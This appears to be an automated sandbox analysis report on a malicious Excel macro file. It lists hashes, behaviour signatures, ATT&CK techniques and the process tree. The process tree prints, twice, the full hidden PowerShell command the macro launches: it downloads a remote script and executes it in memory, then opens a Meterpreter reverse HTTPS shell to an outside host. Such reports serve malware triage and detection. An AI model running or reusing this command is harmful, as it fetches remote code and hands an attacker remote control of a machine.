66bc45d3721827cf38ce330d9128d4a1bb83961c8057443ef128894d55b77a42

Analysis

max time kernel
47s
max time network
15s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
04-07-2024 21:22

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General

Target

66bc45d3721827cf38ce330d9128d4a1bb83961c8057443ef128894d55b77a42.xls
Size

33KB
MD5

3dba90b0dce6eb1b942599544b233c19
SHA1

f8c114190016a9297606022238bbf37269c8770f
SHA256

66bc45d3721827cf38ce330d9128d4a1bb83961c8057443ef128894d55b77a42
SHA512

72f48037d9703fa4eec67ebff66bb4a5b7e133443246337e307693c3d263c053249fe9b0bb419c7464753f3e69448b5047a91d4c5205a4c668d3ac32086efd92
SSDEEP

768:6tvo2Jtk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJofOOtOj3:6Pk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exewscript.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	788	4812	powershell.exe
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2524	2324	wscript.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

5 3508 powershell.exe
6 788 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

788 powershell.exe
3508 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1015551233-1106003478-1645743776-1000\Control Panel\International\Geo\Nation wscript.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 raw.githubusercontent.com
5 raw.githubusercontent.com
6 raw.githubusercontent.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
5	3508	powershell.exe
6	788	powershell.exe

pid	process
788	powershell.exe
3508	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1015551233-1106003478-1645743776-1000\Control Panel\International\Geo\Nation	wscript.exe

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2324 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

788 powershell.exe
788 powershell.exe
3508 powershell.exe
3508 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 788 powershell.exe
Token: SeDebugPrivilege 3508 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

2324 EXCEL.EXE
2324 EXCEL.EXE
Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid process

2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE
2324 EXCEL.EXE

pid	process
2324	EXCEL.EXE

pid	process
788	powershell.exe
788	powershell.exe
3508	powershell.exe
3508	powershell.exe

description	pid	process
Token: SeDebugPrivilege	788	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe

pid	process
2324	EXCEL.EXE
2324	EXCEL.EXE

pid	process
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE
2324	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEwscript.exe

description	pid	process	target process
PID 2324 wrote to memory of 2524	2324	EXCEL.EXE	wscript.exe
PID 2324 wrote to memory of 2524	2324	EXCEL.EXE	wscript.exe
PID 2524 wrote to memory of 3508	2524	wscript.exe	powershell.exe
PID 2524 wrote to memory of 3508	2524	wscript.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\66bc45d3721827cf38ce330d9128d4a1bb83961c8057443ef128894d55b77a42.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\SYSTEM32\wscript.exe
wscript C:\Users\Public\config.vbs
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2524

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:788

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckrwypgg.5au.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize
1KB

MD5
391da0ec43595bd79729835c672a2819

SHA1
c464e33583955bd7f0823c3d515785c6d8aa7b34

SHA256
71470035a038b1ac8f24353f4b8062c3176d5633cd6af9b7f830d21f9806f019

SHA512
3e4bae1d7b2173f7ac4ed088c9f3d6dba26bb0af8db14f3e2678a4ad3ef525d7cab0497b1c6de37a633a86c66396c57624ae04ab4a1aa333fe4114ef0b5959b6

Download Submit
C:\Users\Public\config.vbs
Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/788-57-0x0000024DAFCF0000-0x0000024DAFD34000-memory.dmp

Filesize
272KB

Download
memory/788-45-0x0000024DAFC70000-0x0000024DAFC92000-memory.dmp

Filesize
136KB

Download
memory/2324-8-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-13-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-9-0x00007FF92DC70000-0x00007FF92DC80000-memory.dmp

Filesize
64KB

Download
memory/2324-0-0x00007FF930530000-0x00007FF930540000-memory.dmp

Filesize
64KB

Download
memory/2324-10-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-12-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-11-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-15-0x00007FF92DC70000-0x00007FF92DC80000-memory.dmp

Filesize
64KB

Download
memory/2324-16-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-21-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-20-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-19-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-18-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-17-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-14-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-6-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-24-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-25-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-33-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-32-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-34-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-7-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-5-0x00007FF97054D000-0x00007FF97054E000-memory.dmp

Filesize
4KB

Download
memory/2324-4-0x00007FF930530000-0x00007FF930540000-memory.dmp

Filesize
64KB

Download
memory/2324-3-0x00007FF930530000-0x00007FF930540000-memory.dmp

Filesize
64KB

Download
memory/2324-1-0x00007FF930530000-0x00007FF930540000-memory.dmp

Filesize
64KB

Download
memory/2324-2-0x00007FF930530000-0x00007FF930540000-memory.dmp

Filesize
64KB

Download
memory/2324-69-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-70-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-71-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download
memory/2324-72-0x00007FF9704B0000-0x00007FF9706A5000-memory.dmp

Filesize
2.0MB

Download